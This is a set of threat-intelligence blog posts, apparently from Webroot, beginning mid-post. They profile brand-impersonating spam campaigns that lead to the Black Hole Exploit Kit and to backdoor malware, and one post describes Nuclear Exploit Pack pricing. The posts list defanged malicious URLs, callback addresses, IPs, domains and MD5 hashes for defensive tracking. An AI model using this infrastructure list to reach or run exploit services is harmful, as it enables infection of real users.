We've also seen (**steamedboasting.info**) used in the recently profiled "'**ADP Immediate Notification' themed emails lead to Black Hole Exploit Kit** " campaign, indicating that these campaigns are operated by the same cybercriminal/gang of cybercriminals.

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're

dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

'Fwd: Scan from a Xerox W. Pro' themed emails lead to Black Hole Exploit Kit - Webroot Blog

facebook linkedin twitter

On a periodic basis, malicious cybercriminals spamvertise **millions of emails** attempting to trick end users into thinking that they've received **a scanned document** . Upon clicking on the links found in these emails, or viewing the malicious .html attachment, users are automatically exposed to the client-side exploits served by the latest version of the **Black Hole Exploit Kit** .

In this post, I will profile two currently circulating malicious campaigns. The first is mimicking a Xerox Pro printer, and the second is claiming to be a legitimate Wire Transfer. Both of these campaigns point to the same client-side exploits serving URL, indicating that they've been launched by the same cybercriminal/gang of cybercriminals.

More details: **Sample screenshots of the spamvertised emails:**

Client-side exploits serving URLs: *hxxp://panalkinew.ru:8080/forum/links/column.php* ; *hxxp://panalkinew.ru:8080/forum/links/column.php?rcgeyqil=0406080806&qkped=36&kwtgtko=3307093738070736060b&ucu=02000200020002*

Spamvertised compromised URL used in the Wire Transfer themed campaign: *hxxp://www.mm4management.com/indeaxo.htm*

Upon loading, the URLs exploit **CVE-2010-0188** in an attempt to drop a malicious PDF file on the affected host. The sample then drops additional malware.

Detection rate for a sample javascript obfuscation: MD5: 0a8a06770836493a67ea2e9a1af844bf – detected by 15 out of 43 antivirus scanners as Mal/JSRedir-M

Detection rate for the dropped malware: MD5: 194655f7368438ab01e80b35a5293875 – detected by 25 out of 43 antivirus scanners as Trojan-Ransom.Win32.PornoAsset.avzz

panalkinew.ru responds to the following IPs – 203.80.16.81, AS24514; 209.51.221.247, AS10297; 213.251.171.30, AS16276

Responding to the same IPs are also the following malicious domains part of the campaign's infrastructure: manekenppa.ru kiladopje.ru lemonadiom.ru finitolaco.ru fidelocastroo.ru ponowseniks.ru panasonicviva.ru geforceexlusive.ru limonadiksec.ru linkrdin.ru sonatanamore.ru secondhand4u.ru windowonu.ru

Deja vu! We've already seen one of these domains (**sonatanamore.ru**) used in the recently profiled "'**Regarding your Friendster password' themed emails lead to Black Hole exploit kit** " campaign, indicating that these campaigns have been launched by the same malicious party.

Name servers used in the campaign's infrastructure:
ns1.panalkinew.ru – 62.76.186.190
ns2.panalkinew.ru – 84.22.100.108
ns3.panalkinew.ru – 50.22.102.132
ns4.panalkinew.ru – 213.251.171.30
ns1.manekenppa.ru – 85.143.166.170
ns2.manekenppa.ru – 132.248.49.112
ns3.manekenppa.ru – 84.22.100.108
ns4.manekenppa.ru – 213.251.171.30
ns1.kiladopje.ru – 85.143.166.170
ns2.kiladopje.ru – 132.248.49.112
ns3.kiladopje.ru – 84.22.100.108
ns4.kiladopje.ru – 213.251.171.30
ns1.lemonadiom.ru – 85.143.166.170
ns2.lemonadiom.ru – 132.248.49.112
ns3.lemonadiom.ru – 84.22.100.108
ns4.lemonadiom.ru – 213.251.171.30
ns1.finitolaco.ru – 85.143.166.170
ns2.finitolaco.ru – 132.248.49.112
ns3.finitolaco.ru – 84.22.100.108
ns4.finitolaco.ru – 213.251.171.30
ns1.fidelocastroo.ru – 85.143.166.170

ns2.fidelocastroo.ru – 132.248.49.112
ns3.fidelocastroo.ru – 84.22.100.108
ns4.fidelocastroo.ru – 213.251.171.30
ns1.ponowseniks.ru – 85.143.166.170
ns2.ponowseniks.ru – 132.248.49.112
ns3.ponowseniks.ru – 84.22.100.108
ns4.ponowseniks.ru – 213.251.171.30
ns1.panasonicviva.ru – 132.248.49.112
ns2.panasonicviva.ru – 84.22.100.108
ns3.panasonicviva.ru – 62.76.47.51
ns1.geforceexlusive.ru – 62.76.47.51
ns2.geforceexlusive.ru – 132.248.49.112
ns3.geforceexlusive.ru – 84.22.100.108
ns4.geforceexlusive.ru – 79.98.27.9
ns1.limonadiksec.ru – 62.76.46.195
ns2.limonadiksec.ru – 87.120.41.155
ns3.limonadiksec.ru – 132.248.49.112
ns4.limonadiksec.ru – 91.194.122.8
ns5.limonadiksec.ru – 62.76.188.246
ns1.linkrdin.ru – 85.143.166.170
ns2.linkrdin.ru – 132.248.49.112
ns3.linkrdin.ru – 84.22.100.108
ns4.linkrdin.ru – 79.98.27.9
ns1.sonatanamore.ru – 62.76.47.51
ns2.sonatanamore.ru – 132.248.49.112
ns3.sonatanamore.ru – 84.22.100.108
ns1.secondhand4u.ru – 85.143.166.170
ns2.secondhand4u.ru – 132.248.49.112
ns3.secondhand4u.ru – 84.22.100.108
ns4.secondhand4u.ru – 79.98.27.9
ns1.windowonu.ru – 85.143.166.170
ns2.windowonu.ru – 132.248.49.112
ns3.windowonu.ru – 84.22.100.108
ns4.windowonu.ru – 79.98.27.9
ns1.panalkinew.ru – 62.76.186.190
ns2.panalkinew.ru – 84.22.100.108

ns3.panalkinew.ru – 50.22.102.132
ns4.panalkinew.ru – 213.251.171.30

Webroot SecureAnywhere users are proactively protected from these threats.

*You can find more about Dancho Danchev at his **LinkedIn Profile**. You can also **follow him on Twitter**.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

USPS 'Postal Notification' themed emails lead to malware - Webroot Blog

facebook linkedin twitter

Cybercriminals are currently mass mailing millions of emails impersonating The United States Postal Service (USPS), in an attempt to trick its customers into downloading and executing the malicious .zip archive linked in the bogus emails.

Upon execution, the malware opens a backdoor on the affected host, allowing the cybercriminals behind the campaign to gain complete control over the host.

More details:

Sample screenshot of the spamvertised email:

Spamvertised compromised URL: *hxxp://www.unser-revier-bruchtorf-ost.de/FWUJKKOGMP.html*

Actual malicious archive URL: *hxxp://www.unser-revier-bruchtorf-ost.de/Shipping_Label_USPS.zip*

Detection rate: **MD5: 089605f20e02fe86b6719e0949c8f363** – detected by 5 out of 44 antivirus scanners as UDS:DangerousObject.Multi.Generic

Upon execution, the sample phones back to the following URLs: *hxxp://**64.151.87.152**:41765/00cd1a40FA511365883ACEB58B055EA44882D5E2D24B9BB24D7949BCECDEA40E850DB1FCC7397577B70452EC74D82B225022BB99287FFFA45E0F98E18AA3A71007E1FDA570*
*hxxp://**66.7.209.185**:41765/00cd1a40FA511365883ACEB58B055EA44882D5E2D24B9BB24D7949BCECDEA40E850DB1FCC7397577B70452EC74D82B225022BB99287FFFA45E0F98E18AA3A71007E1FDA570*
*hxxp://**173.224.211.194**:43456/00cd1a40FA511365883ACEB58B055EA44882D5E2D24B9BB24D7949BCECDEA40E850DB1FCC7397577B70452EC74D82B225022BB99287FFFA45E0F98E18AA3A71007E1FDA570*

hxxp://**46.105.121.86:43456**
/00cd1a40FA511365883ACEB58B055EA44882D5E2D24B9BB24D7
949BCECDEA40E850DB1FCC7397577B70452EC74D82B225022B
B99287FFFA45E0F98E18AA3A71007E1FDA570
hxxp://**222.255.237.132**
:41765/00cd1a40FA511365883ACEB58B055EA44882D5E2D24B9B
B24D7949BCECDEA40E850DB1FCC7397577B70452EC74D82B22
5022BB99287FFFA45E0F98E18AA3A71007E1FDA570
hxxp://**64.151.87.152**
:43456/00cd1a40FA511365883ACEB58B055EA44882D5E2D24B9B
B24D7949BCECDEA40E850DB1FCC7397577B70452EC74D82B22
5022BB99287FFFA45E0F98E18AA3A71007E1FDA570
hxxp://**79.170.89.209**
:41765/00cd1a40FA511365883ACEB58B055EA44882D5E2D24B9B
B24D7949BCECDEA40E850DB1FCC7397577B70452EC74D82B22
5022BB99287FFFA45E0F98E18AA3A71007E1FDA570
hxxp://**79.170.89.209**
:43456/00cd1a40FA511365883ACEB58B055EA44882D5E2D24B9B
B24D7949BCECDEA40E850DB1FCC7397577B70452EC74D82B22
5022BB99287FFFA45E0F98E18AA3A71007E1FDA570
hxxp://**217.160.236.108**
:41765/00cd1a40FA511365883ACEB58B055EA44882D5E2D24B9B
B24D7949BCECDEA40E850DB1FCC7397577B70452EC74D82B22
5022BB99287FFFA45E0F98E18AA3A71007E1FDA570
hxxp://**217.160.236.108**
:43456/00cd1a40FA511365883ACEB58B055EA44882D5E2D24B9B
B24D7949BCECDEA40E850DB1FCC7397577B70452EC74D82B22
5022BB99287FFFA45E0F98E18AA3A71007E1FDA570
hxxp://**88.84.137.174**
:43456/00cd1a40FA511365883ACEB58B055EA44882D5E2D24B9B
B24D7949BCECDEA40E850DB1FCC7397577B70452EC74D82B22
5022BB99287FFFA45E0F98E18AA3A71007E1FDA570
hxxp://**46.105.112.99**
:43456/00cd1a40FA511365883ACEB58B055EA44882D5E2D24B9B
B24D7949BCECDEA40E850DB1FCC7397577B70452EC74D82B22
5022BB99287FFFA45E0F98E18AA3A71007E1FDA570
hxxp://**50.22.136.150**

:8080/00cd1a40FA511365883ACEB58B055EA44882D5E2D24B9BB24D7949BCECDEA40E850DB1FCC7397577B70452EC74D82B225022BB99287FFFA45E0F98E18AA3A71007E1FDA570

*hxxp://**130.88.105.45**:41765/00cd1a40FA511365883ACEB58B055EA44882D5E2D24B9BB24D7949BCECDEA40E850DB1FCC7397577B70452EC74D82B225022BB99287FFFA45E0F98E18AA3A71007E1FDA570*

*hxxp://**91.205.63.194**:41765/00cd1a40FA511365883ACEB58B055EA44882D5E2D24B9BB24D7949BCECDEA40E850DB1FCC7397577B70452EC74D82B225022BB99287FFFA45E0F98E18AA3A71007E1FDA570*

*hxxp://**95.173.180.42**:43456/00cd1a40FA511365883ACEB58B055EA44882D5E2D24B9BB24D7949BCECDEA40E850DB1FCC7397577B70452EC74D82B225022BB99287FFFA45E0F98E18AA3A71007E1FDA570*

*hxxp://**95.173.180.42**:43456/00cd1a40FA511365883ACEB58B055EA44882D5E2D24B9BB24D7949BCECDEA40E850DB1FCC7397577B70452EC74D82B225022BB99287FFFA45E0F98E18AA3A71007E1FDA570*

*hxxp://**217.160.236.108**:84/00cd1a40FA511365883ACEB58B055EA44882D5E2D24B9BB24D7949BCECDEA40E850DB1FCC7397577B70452EC74D82B225022BB99287FFFA45E0F98E18AA3A71007E1FDA570*

More malware variants are also known to have phoned back to the same IPs: MD5: 54b574029cef8da99737fe8705597ac6 – detected by 23 out of 44 antivirus scanners as TrojanDownloader:Win32/Kuluoz.B

MD5: 4f0bf97d890967d44ca6aec07f6bc752 – detected by 31 out of 43 antivirus scanners as Trojan.Win32.Agent.uloi

MD5: 96255178f15033362c81fb6d9b9c3ce4 – detected by 9 out of 44 antivirus scanners as Trojan-Dropper.Win32.Dapato.bupr

MD5: 54b574029cef8da99737fe8705597ac6 – detected by 23 out of 44 antivirus scanners as UDS:DangerousObject.Multi.Generic

MD5: 0282bc929bae27ef95733cfa390b10e0 – detected by 7 out of 44 antivirus scanners as TrojanDownloader:Win32/Kuluoz.B

MD5: ea8adf1d9c6a76b39c9a3e1a5e8826f0 – detected by 27 out of 42 antivirus scanners as Trojan.Win32.Yakes.bhhg

MD5: b4cd6c46d789c322876b6bb74ec62357 – detected by 32 out of 40 antivirus scanners as Trojan-Downloader.Win32.Kuluoz.aad

MD5: 57d9b0652f253933df251624b3965c52 – detected by 33 out of 44 antivirus scanners as Trojan.Generic.KDV.762605

MD5: b99d77ea6c96f27da3d84e65149c3e28 – detected by 26 out of 41 antivirus scanners as Trojan.Win32.Yakes.bise

MD5: e40342f10b6aff36002996f3a3e88add – detected by 30 out of 44 antivirus scanners as TrojanDownloader:Win32/Kuluoz.B

MD5: 36d30a8eea96881057ae795467fe561a – detected by 34 out of 44 antivirus scanners as Trojan.Win32.Yakes.bigs

MD5: b99d77ea6c96f27da3d84e65149c3e28 – detected by 26 out of 41 antivirus scanners as Trojan.Win32.Yakes.bise

MD5: 7e5a4754b1b7c285e812e37be1765c35 – detected by 29 out of 42 antivirus scanners as Trojan-Downloader.Win32.Kuluoz.aal

MD5: 7cec1a12f0f3d6e6b41976cb955c209e – detected by 34 out of 44 antivirus scanners as Trojan.Win32.Yakes.bhjy

MD5: 7afc73de809387bc6d66434cbbb6bed3 – detected by 24 out of 35 antivirus scanners as TrojanDownloader:Win32/Kuluoz.B

MD5: ea8adf1d9c6a76b39c9a3e1a5e8826f0 – detected by 27 out of 42 antivirus scanners as Trojan.Win32.Yakes.bhhg

MD5: dbacc50ee3e42b24b45b9d8a7a7aaa4b – detected by 34 out of 44 antivirus scanners as Trojan.Win32.Yakes.bhij

MD5: 6d121b530bbf8ab026e7052a42ed644a – detected by 30 out of 42 antivirus scanners as Trojan.Win32.Yakes.bgvk

MD5: 54b574029cef8da99737fe8705597ac6 – detected by 23 out of 44 antivirus scanners as TrojanDownloader:Win32/Kuluoz.B

MD5: 36d30a8eea96881057ae795467fe561a – detected by 34 out of 44 antivirus scanners as PWS-Zbot.gen.aow

MD5: e40342f10b6aff36002996f3a3e88add – detected by 30 out of 44 antivirus scanners as Trojan-Downloader.Win32.Kuluoz.aao

MD5: 2e9755cfce544627fbfd3be07af5d7d9 – detected by 33 out of 43 antivirus scanners as Trojan-Downloader.Win32.Kuluoz.aam

MD5: e40342f10b6aff36002996f3a3e88add – detected by 30 out of 44 antivirus scanners as Trojan.Generic.KDV.768818

MD5: cddd3267db116d9b8bb0954c40d45f2d – detected by 27 out of 44 antivirus scanners as Trojan.Generic.KDV.770707

Who’s behind this campaign? It’s the same cybercriminal/group of cybercriminals that launched the “**Cybercriminals impersonate UPS, serve malware** ” campaign in August, 2012. Both campaigns are launched using identical tactics, and some of the listed MD5s are identical to the MD5s found in related campaigns impersonating UPS.

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

'ADP Immediate Notification' themed emails lead to Black Hole Exploit Kit - Webroot Blog

facebook linkedin twitter

Newsflash, the cybercriminals behind the recently profiled malicious campaign impersonating Bank of America, launched yet another massive spam campaign, this time targeting **ADP** customers. Upon clicking on the link found in the malicious email, users are exposed to the client-side exploits served by the latest version of the Black Hole Exploit Kit.

More details:

Sample screenshot of the spamvertised email:

Compromised malicious URLs spamvertised in the campaign: *hxxp://shawnsheritagemasonry.com/trnztadp.html* ; *hxxp://diversified.usereasy.net/trnztadp.html* ; *hxxp://widespace.com.cn/trnztadp.html* ; *hxxp://www.theironingbasket.com/trnztadp.html* ; *hxxp://runtheattack.com/trnztadp.html; hxxp://kbc-tervuren.be/trnztadp.html; hxxp://egowy.com/loginadptr.html*

Client-side exploits serving URL: *hxxp://reasonedblitzing.net/detects/lorrys_implication.php* – 195.198.124.60, AS3301 – Email: monteene_forbrich8029@mauritius.com; *hxxp://nfcmpaa.info/detects/burying_releases-degree.php* – 195.198.124.60, AS3301 – Email: nevein_standrin35@kube93mail.com

Responding to the same IP are also the following malicious domains: win8ss.com – Email: fermetnolega@hotmail.com
legacywins.com – Email: fermetnolega@hotmail.com
openpolygons.net – Email: cordey_yabe139@flashmail.net
steamedboasting.info – Email: mauro_borozny655@medical.net.au

Name servers part of the campaign's infrastructure: Name Server: NS1.TOPPAUDIO.COM

Name Server: NS2.TOPPAUDIO.COM

We’ve already seen the same name servers used in the recently profiled “**BofA ‘Online Banking Passcode Reset’ themed emails serve client-side exploits and malware** ” malicious campaign. Clearly, the cybercriminal or gang of cybercriminals behind the campaign continue rotating the impersonated brands, next to using the same malicious infrastructure to achieve their objectives.

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

BofA 'Online Banking Passcode Reset' themed emails serve client-side exploits and malware - Webroot Blog

facebook linkedin twitter

Cybercriminals are currently mass mailing millions of emails, in an attempt to trick Bank of America customers into clicking on the exploit and malware-serving link found in the spamvertised email. Relying on bogus "*Online Banking Passcode Changed* " notifications and professionally looking email templates, the campaign is the latest indication of the systematic rotation of impersonated brands in an attempt to cover as many market segments as possible.

More details:

Screenshot of a sample spamvertised email:

Sample spamvertised and compromised URLs participating in the campaign – *hxxp://kuj-pom.pl/wp-content/themes/simplenotes/resetPass.html* ; *hxxp://mastropasticcere.bar.it/wp-content/themes/default/resetPass.html* ; *hxxp://1980.mods.jp/wp-content/plugins/passchanged.html* ; *hxxp://sunsetheroes.com/wp-content/plugins/1/passchanged.html* ; *hxxp://www.jee-choi.com/test/wp-content/plugins/intensedebate/resetPass.html*

Client-side exploits serving URL: *hxxp://the-mesgate.net/detects/signOn_go.php* – 183.81.133.121, AS38442 – Email: counseling72@yahoo.com

Also responding to the same IP are the following malicious domains: stafffire.net – 183.81.133.121, AS38442
hotsecrete.net – Email: counseling1@yahoo.com
formexiting.net – suspended domain
navisiteseparation.net – suspended domain

Name servers part of the campaign's infrastructure: Name Server: **NS1.TOPPAUDIO.COM** – 91.216.93.61, AS50300 – Email: windowclouse@hotmail.com

Name Server: **NS2.TOPPAUDIO.COM** – 29.217.45.138 – Email: windowclouse@hotmail.com
Name Server: **NS1.TWEET-TOWEL.NET** – 208.88.124.81 – Email: worldonaplate@rocketmail.com
Name Server: **NS2.TWEET-TOWEL.NET** – 5.88.90.51 – Email: worldonaplate@rocketmail.com
Name Server: **NS1.ELEPHANT-TRAFFIC.COM** – 217.11.251.172
Name Server: **NS2.ELEPHANT-TRAFFIC.COM** – 217.11.251.171
Name Server: **NS3.ELEPHANT-TRAFFIC.COM** – 217.31.59.77

We've already seen the same email (*windowclouse@hotmail.com*) used in a previously profiled malicious campaign impersonating Intuit – "'**Intuit Payroll Confirmation inquiry' themed emails lead to the Black Hole exploit kit** ", where the client-side exploit-serving URL (**art-london.net**) was also registered with the same email.

Related malicious domains responding the these IPs: change-hot.net locksmack.net

Money mule recruitment domains using the same IP as a mailserver: aurafinancialgroup.com epscareers.com

As you can see, this campaign is great example of the very existence of the cybercrime ecosystem. Not only are they spamvertising millions of exploits and malware serving emails, they're also multitasking on multiple fronts, as these two domains are **recruiting money mules to process fraudulently obtained assets** from the affected victims.

The following malicious domains are also part of the campaign's infrastructure: dgstore.org optioncommandescape.co.uk www.cm z6x8.com netcenterc.com www.ubegalore.com blackbluerose.com www.googletranslate.com nokiaupdte.com – typosquatted domain impersonating Nokia Update
musiconlineshop24h.com youngideafashion.com twiiter.com – typosquatted domain impersonating Twitter
alexaworldserver.com webcampagnes.com fitzpatrickshoes.com traderbmarkings.com thephoenix-forums.com clickbankstat.com www.jmbrino.blogsot.com – typosquatted domain impersonating Google's Blogspot

cc11tttttttt.com cc22tttttttt.com gbmainadv.com zdata.in novastore.in amigohello.in gringohello.in secway.in blogging4life123.net etredir-001aa.net adam-love.net backserviceag.net onlinebrg.net bushadverl.net obdomain.net amigohello.net gringohello.net bigpointers.net verybigdays.net datawebnet.net sampleadvert.net fieldmanv.net

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Nuclear Exploit Pack goes 2.0 - Webroot Blog

facebook linkedin twitter

In times when the **market leading Black Hole Exploit Kit** continues to gain market share, **competing products** are prone to emerge. What is the competition up to? Has it managed to differentiate itself from the market leading product or is it basically a "me too" exploit kit lacking any significant features worth emphasizing on?

In this post, I'll profile the recently advertised Nuclear Exploit Pack v.2.0, elaborate on its features, and discuss whether or not it has the potential to outpace the market leader (Black Hole Exploit Kit) in terms of market share.

More details:

Screenshots of the Nuclear Exploit Pack's latest version:

As you can see in the above screenshot, the cybercriminal that's advertising the availability of the second version of the Nuclear Exploit Pack is currently busy managing six unique malicious campaigns. The first campaign has already managed to infect 1,194 hosts, the majority of which are running Windows 7 and using Internet Explorer 9.0.

Second screenshot of the Nuclear Exploit Pack v2.0 in action:

The second screenshot shows the cybercriminal has also managed to exploit 3,132 users located in Italy, running outdated versions of Microsoft's Internet Explorer browser, with Windows XP.

Third screenshot of the Nuclear Exploit pack in action:

The third screenshot shows the statistics from yet another malicious campaign operated by the cybercriminal behind the Nuclear Exploit Pack. It shows that 345 hosts have been infected, the majority of which are running Windows 7 and Microsoft's Internet Explorer 8.0

Fourth screenshot of the Nuclear Exploit pack v2.0 in action:

The fourth screenshot indicates that 166 hosts were exploited, the majority of which are still running Windows XP and Microsoft's Internet Explorer 8.0. What also makes an impression is that despite the fact that the cybercriminal behind the exploit kit has blurred the referrers for all the campaigns, he did not blur the actual MD5s used in these campaigns.

Associated campaign MD5s thanks to the OPSEC-unaware fact that the cybercriminal behind the exploit kit didn't bother blurring them:

MD5: 80c8eac98ebcbc5019c19e3da0b02cd6 – detected by 25 out of 41 antivirus scanners as Trojan-Ransom.Win32.ZedoPoo.il
MD5: 104296602e7754bc88edd60002eacb06 – detected by 27 out of 42 antivirus scanners as HEUR:Trojan.Win32.Generic
MD5: 3c07ed1a4c3f98d01d06e57bad5e2491 – detected by 17 out of 42 antivirus scanners as Win32:Spyware-gen [Spy]
MD5: 94a3485f33b25cf27acd4bc9d6eefc77 – detected by 23 out of 42 antivirus scanners as Trojan-Spy.Win32.Zbot.dswl

What differentiates this cybercrime ecosystem advertisement is the fact that the cybercriminal behind it is using "risk-forwarding" tactics in an attempt to mitigate the risk posed by the criminal nature of the kit. They achieve this by introducing a Terms of Service (TOS) that everyone must agree to before using their product.

The TOS forbids the following practices:

Actions that would violate the law of the Russian Federation
Acquisition of traffic using spam emails
iFrame-based traffic acquisition practices are forbidden
Testing the software on public services such as, for instance, VirusTotal
Offering Cybercrime-as-a-Service business services using the kit
Developing an affiliate program using the exploit kit

What about the prices for purchasing access to the exploit kit? Here they are:

Prices for acquiring traffic obtained through compromised sites, spamvertised social engineering centered email campaigns, and black hat SEO: month:

50k / day limit / 1 month – 500 wmz
100k / day limit / 1 month – 800 wmz
200k / day limit / 1 month – 1200 wmz
300k / day limit / 1 month – 1600 wmz

2 week:

50k / day limit / 2 week – 300 wmz
100k / day limit / 2 week – 500 wmz
200k / day limit / 2 week – 700 wmz
300k / day limit / 2 week – 900 wmz

1 week:

100k / day limit / 1 week – 300 wmz
200k / day limit / 1 week – 400 wmz
300k / day limit / 1 week – 500 wmz

If potential customers are only interested in testing the exploit kit, they can do so for a period of 24 hours, and pay just 50 wmz.

Is the Nuclear Exploit Pack a potential market leader in the long term, or will it basically turn into a market follower in a marketplace where the Black Hole Exploit kit remains the definite market leader? Although the kit is taking advantage of recent Java vulnerabilities, compared to the Black Hole Exploit kit, it's lacking major OPSEC (operational security) features. This makes it much easier to analyze compared to the latest version of the Black Hole Exploit kit v2.0 that introduced a variety of features making the campaigns harder to detect and analyze by vendors and security researchers.

We'll continue monitoring the development of the kit.

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're

dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Cybercriminals spamvertise millions of bogus Facebook notifications, serve malware - Webroot Blog

facebook linkedin twitter

Recently, cybercriminals spamvertised yet another massive email campaign, impersonating the world's most popular social network – Facebook.

It was similar to a previously profiled **spam campaign imitating Facebook** . However, in this case the cybercriminals behind it relied on attached malicious archives, compared to including exploits and malware serving links in the email.

More details:

Sample screenshot of the spamvertised email:

Detection rate for the malicious archive: MD5: 0938302fbf8f7db161e46c558660ae0b – detected by 34 out of 43 antivirus scanners as Trojan.Generic.KDV.753880; Trojan-Ransom.Win32.Gimemo.arsu. Upon execution, the sample opens a backdoor on the infected host, allowing the cybercriminals behind the campaign to gain full access to the affected host.

Webroot SecureAnywhere users are proactively protected from this threat.

If users feel they received a bogus email that may not be coming from Facebook, they can alert Facebook by forwarding the message to **phish@fb.com** . In addition, users can check to see if their account has been compromised by visiting www.facebook.com/hacked .

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Cybercriminals spamvertise millions of British Airways themed e-ticket receipts, serve malware - Webroot Blog

facebook linkedin twitter

Cybercrimianals are currently mass mailing millions of emails in an attempt to trick British Airways customers into executing the malicious attachment found in the spamvertised emails. Upon execution, the malware opens a backdoor on the infected host, allowing the cybercriminals behind the campaign to gain complete control over the infected host.

More details:

Screenshot of the spamvertised email:

Detection rate for the malicious attachment: MD5: 4a3a345c24fda6987bbe5411269e26b7 – detected by 25 out of 42 antivirus scanners as Trojan-Downloader.Win32.Andromeda.aey

Webroot SecureAnywhere users are proactively protected from this threat.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Spamvertised 'BT Business Direct Order' themed emails lead to malware - Webroot Blog

facebook linkedin twitter

Over the past 24 hours, cybercriminals have been spamvertising millions of emails targeting customers of BT’s Business Direct in an attempt to trick its users into executing the malicious attachment found in the emails. Upon executing it, the malware opens a backdoor on the infected host, allowing the cybercriminals behind the campaign to gain complete access to the affected host.

More details:

Screenshot of the spamvertised email:

Detection rate for the malicious attachment: **MD5: 8d0e220ce56ebd5a03c389bedd116ac5** – detected by 29 out of 43 antivirus scanners as Trojan-Ransom.Win32.Gimemo.ashm

Webroot SecureAnywhere users are proactively protected from this threat.

*You can find more about Dancho Danchev at his **LinkedIn Profile** . You can also **follow him on Twitter** .*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Cybercriminals impersonate Verizon Wireless, serve client-side exploits and malware - Webroot Blog

facebook linkedin twitter

Verizon Wireless customers, beware!

For over a week now, cybercriminals have been persistently spamvertising millions of emails impersonating the company, in an attempt to trick current and prospective customers into clicking on the client-side exploits and malware serving links found in the malicious email.

Upon clicking on any of the links, users are exposed to the client-side exploits served by the latest version of the Black Hole Exploit Kit.

More details:

Screenshot of the spamvertised email:

Spamvertised malicious URLs: *hxxp://coaseguros.com/components/com_ag_google_analytics2/notifiedvzn.html* ; *hxxp://clinflows.com/components/com_ag_google_analytics2/vznnotifycheck.html*

Client-side exploits serving URL: *hxxp://strangernaturallanguage.net/detects/notification-status_login.php?mzuilm=073707340a&awi=45&dawn=04083703023407370609&iwnjdt=0a000300040002*

Sample client-side exploits served: *CVE-2010-0188*

Upon successful client-side exploitation, the campaign drops **MD5: b8d6532dd17c3c6f91de5cc13266f374** – detected by 26 out of 44 antivirus scanners as Trojan-Spy.Win32.Zbot.fkth

Once executed, the sample phones back to **tuningmurcelagoglamour.ru** , **tuningfordmustangxtremee.ru**

– 146.185.220.28, AS58014

Name servers used in the campaign: *ns1.2ns.info*

The same name server is also offering DNS services to the following malicious domains, part of the campaign's infrastructure:

100zakazov.ru 1waybet.com 2domains.net a-dessin.com aconstance.com adata.ru apinosoft.com arenda24.net aventadortuningrsport.ru avstraliya.org babyliss.net.ru battlefieldmoon.com beaddreamin.com bublik.com cantcuffus.com cdaparty.com centrizone.com chelny-holod.ru cmsstore.net co-ltd.net creatoric.com di1.ru djbm.ru es-sahafa.com ext.lv fe-nix.ru flashka.info fleshka.ru fordmustangtuninglabs.ru fuck-access.com garudakr.com gaypirates.ru gazinstroy.ru genumesarider.ru gis.ru gloriousbabeporn.com goslotto.ru hedonism.ru it-event.ru itnote.info jasminlive.ru karpenkov.ru lavka-chudes.ru legendarno.biz leonid.info lithoart.net lodka.tv lyubov.net macd.ru migalki.info milkyart.pp.ua morbo.ru myfilmix.ru navtat.ru ngksint.com nnm.cc nunta-ta.com o001oo.ru orgfin.ru positime.ru prisnilos.su promstok.ru qsba.com.ua qtel.ru rainbowlizard.net rock.od.ua rospromportal.ru rpfm.ru ru116.ru rukazan.ru salespb.ru sellbrand.net sextyumen.ru shamaili.ru shtin.com sizov.biz skripov.com skyis.me skynetcompany.ru smscent.com spypdf.com stockmap.ru synapticwave.com tanque.biz tropeonline.com villaside.com vipstudent.org vivatvictoria.ru warezzz.info wn-travel.com xmages.net

The last time we intercepted a **Verizon Wireless themed malicious campaign** was in March 2012. We expect to see more campaigns impersonating this company, thanks to the cybercriminal's proven tactic of rotating the impersonated brands.

Webroot SecureAnywhere users are proactively protected from these threats.

You can find more about Dancho Danchev at his ***LinkedIn Profile*** *. You can also* ***follow him on Twitter*** *.*

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

